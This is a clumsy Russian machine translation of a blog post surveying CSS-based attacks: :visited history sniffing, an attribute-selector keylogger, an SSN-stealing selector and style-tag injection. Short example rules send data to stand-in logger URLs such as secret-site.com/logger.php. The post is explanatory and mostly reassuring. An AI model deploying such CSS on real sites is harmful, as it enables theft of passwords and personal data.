November 12, 2019

Уязвимости безопасности CSS

Не читай этот заголовок и не волнуйся. Я не думаю, что CSS-это особенно опасная проблема безопасности, и по большей части, я не думаю, что вам нужно беспокоиться об этом.

Но каждый раз в то время, статьи, Как правило, циркулируют и получить некоторое внимание о возможностях того, что CSS может сделать, что может удивить или беспокоить вас.

А вот и небольшая облава.

Visited Link Concern

А вот это звучит так::

  1. Вы ставите ссылку на определенную страницу на вашем сайте, скажем <a href="https://i-tickle-pigs.com">Tickle Pigs</a>
  2. Вы стилизуете посещенное состояние этой ссылки, a:visited { color: pink; }которое не является стилем агента пользователя по умолчанию.
  3. Вы тестируете вычисленный стиль этой ссылки.
  4. Если он розовый, Этот пользователь-щекотун свиньи.
  5. Вы сообщаете, что свинья щекочет информацию обратно на какой-то сервер где-то и предположительно утроить свои свиньи, владеющие страховые тарифы, как наверняка свиньи будут страдать крайнее эмоциональное расстройство над всем щекотки.

Вы даже можете сделать это полностью в CSS, потому что :visitedэтот стиль может иметь подобныйbackground-image: url(/data-logger/tickle.php);, который запрашивается только pig ticklers.

Волнуешься? Не будьте, браузеры все это предотвратили, чтобы это было возможно.

Keylogger

А вот это звучит так::

  1. Есть вход на странице. Возможно, ввод пароля. Страшно!
  2. Вы ставите скрипт регистратора в качестве значения для фонового изображения ввода, но также и еще один миллиард селекторов, таких как этот, что регистратор будет собирать и сообщать некоторые или все пароли.

input[value^="a"] { background: url(logger.php?v=a); }

Это не так просто сделать. valueАтрибут ввода не изменяется только потому, что вы вводите его. Это делает иногда в рамках, как реагировать, хотя, так что если бы вы должны были проскользнуть этот CSS на страницу входа в систему питание от React и закодированы таким образом, то теоретически, это CSS-питание кейлоггер может работать.

Но... в этом случае JavaScript выполняется на этой странице в любом случае. JavaScript-это 1000× больше, чем CSS для таких вещей, как это. Кейлоггер в JavaScript - это всего лишь пара строк кода, наблюдающих за событиями нажатия клавиш и сообщающих о них через Ajax.

Сторонние и XSS-инъекции встроенного JavaScript теперь можно остановить с помощью политики безопасности содержимого (CSP)... но и CSS тоже.

Похититель Данных

А вот это звучит так::

  1. Если я могу получить некоторые из моих гнусных CSS на страницу, где вы аутентифицировались на сайте...
  2. И этот сайт отображает конфиденциальную информацию, такую как номер социального страхования ( SSN ) в предварительно заполненной форме...
  3. Я могу использовать селекторы атрибутов, чтобы выяснить это.
input#ssn[value="123-45-6789"] { background: url(https://secret-site.com/logger.php?ssn=123-45-6789); }

Миллиард селекторов, и вы уже покрыли все возможности!

Блок встроенного стиля hoopsie

Я не знаю, буду ли я обвинять CSS в этом обязательно, но представьте:

<style>
  ... Drop in some user-generated stuff ...
</style>

Возможно, вы позволяете пользователю некоторые настройки CSS там. Это вектор атаки, так как они могут закрыть этот тег стиля, открыть тег сценария и написать гнусный JavaScript.

Я уверен, что есть еще куча

- Ты их поймал? Поделись ими.

Нарисуйте мне немного скептически, насколько я должен быть напуган уязвимостями безопасности CSS. Я не хочу слишком сильно преуменьшать проблемы безопасности, потому что я не эксперт, и безопасность имеет первостепенное значение, но в то же время я никогда не слышал, чтобы CSS был вектором атаки для чего-либо за пределами мысленного упражнения. Дайте мне образование!